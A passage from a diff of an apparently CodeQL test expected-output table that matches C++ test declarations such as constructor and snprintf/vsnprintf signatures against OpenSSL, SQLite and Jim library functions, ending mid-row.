MyDerivedValue | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const RSA *,int) | | RSA_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const RSA *,int) | | RSA_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const RSA *,int) | | ossl_rsa_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const SSL *,int) | | SSL_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const UI *,int) | | UI_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509 *,int) | | X509_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509 *,int) | | X509_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const XCHAR *,int) | CStringT | CStringT | 1 | | constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const YCHAR *,int) | CStringT | CStringT | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | DH_meth_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | DSA_meth_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | Jim_StrDupLen | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | RSA_meth_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const char *,int) | | parse_yesno | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int *,int) | | X509_PURPOSE_set | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int *,int) | | X509_TRUST_set | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int,int) | | BN_security_bits | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int,int) | | EVP_MD_meth_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int,int) | | EVP_PKEY_meth_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (int,int) | | acttab_alloc | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (rule *,int) | | Configlist_add | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (rule *,int) | | Configlist_addbasis | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (uint16_t,int) | | tls1_group_id2nid | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (unsigned char *,int) | | RAND_bytes | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (void *,int) | | DSO_dsobyaddr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (void *,int) | | sqlite3_realloc | 1 | | constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (wchar_t,int) | CStringT | CStringT | 1 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ASN1_STRING_type_new | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ASN1_tag2bit | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ASN1_tag2str | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | EVP_PKEY_asn1_get0 | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | Jim_ReturnCode | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | Jim_SignalId | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | OBJ_nid2ln | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | OBJ_nid2obj | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | OBJ_nid2sn | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | OSSL_STORE_INFO_type_string | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | OSSL_trace_get_category_name | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | PKCS12_init | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | Symbol_Nth | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | X509_PURPOSE_get0 | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | X509_PURPOSE_get_by_id | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | X509_TRUST_get0 | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | X509_TRUST_get_by_id | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | evp_pkey_type2name | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ossl_cmp_bodytype_to_string | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ossl_tolower | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | ossl_toupper | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | pulldown_test_framework | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | sqlite3_compileoption_get | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | sqlite3_errstr | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | tls1_alert_code | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | tls13_alert_code | 0 | +| copyableclass.cpp:8:2:8:16 | MyCopyableClass | (int) | | wait_until_sock_readable | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ASN1_STRING_type_new | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ASN1_tag2bit | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ASN1_tag2str | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | EVP_PKEY_asn1_get0 | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | Jim_ReturnCode | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | Jim_SignalId | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | OBJ_nid2ln | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | OBJ_nid2obj | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | OBJ_nid2sn | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | OSSL_STORE_INFO_type_string | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | OSSL_trace_get_category_name | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | PKCS12_init | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | Symbol_Nth | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | X509_PURPOSE_get0 | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | X509_PURPOSE_get_by_id | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | X509_TRUST_get0 | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | X509_TRUST_get_by_id | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | evp_pkey_type2name | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ossl_cmp_bodytype_to_string | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ossl_tolower | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | ossl_toupper | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | pulldown_test_framework | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | sqlite3_compileoption_get | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | sqlite3_errstr | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | tls1_alert_code | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | tls13_alert_code | 0 | +| copyableclass_declonly.cpp:8:2:8:24 | MyCopyableClassDeclOnly | (int) | | wait_until_sock_readable | 0 | +| file://:0:0:0:0 | operator delete | (void *) | | ossl_kdf_data_new | 0 | +| file://:0:0:0:0 | operator new | (unsigned long) | | BN_num_bits_word | 0 | +| file://:0:0:0:0 | operator new | (unsigned long) | | BUF_MEM_new_ex | 0 | +| format.cpp:5:5:5:12 | snprintf | (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 2 | +| format.cpp:5:5:5:12 | snprintf | (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 3 | +| format.cpp:5:5:5:12 | snprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 0 | +| format.cpp:5:5:5:12 | snprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 1 | +| format.cpp:5:5:5:12 | snprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 2 | +| format.cpp:5:5:5:12 | snprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 3 | +| format.cpp:5:5:5:12 | snprintf | (int,char *,const char *,...) | | sqlite3_snprintf | 2 | +| format.cpp:5:5:5:12 | snprintf | (int,char *,const char *,...) | | sqlite3_snprintf | 3 | +| format.cpp:6:5:6:11 | sprintf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 1 | +| format.cpp:6:5:6:11 | sprintf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 2 | +| format.cpp:7:5:7:12 | swprintf | (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 3 | +| format.cpp:7:5:7:12 | swprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 3 | +| format.cpp:7:5:7:12 | swprintf | (int,char *,const char *,...) | | sqlite3_snprintf | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (DSO *,int,long,void *) | | DSO_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL *,int,long,void *) | | SSL_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL *,int,long,void *) | | dtls1_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL *,int,long,void *) | | ossl_quic_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL *,int,long,void *) | | ssl3_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,int,int,void *) | | PEM_def_callback | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,int,int,void *) | | ossl_pw_pem_password | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,int,int,void *) | | ossl_pw_pvk_password | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 0 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 1 | +| format.cpp:14:5:14:13 | vsnprintf | (char 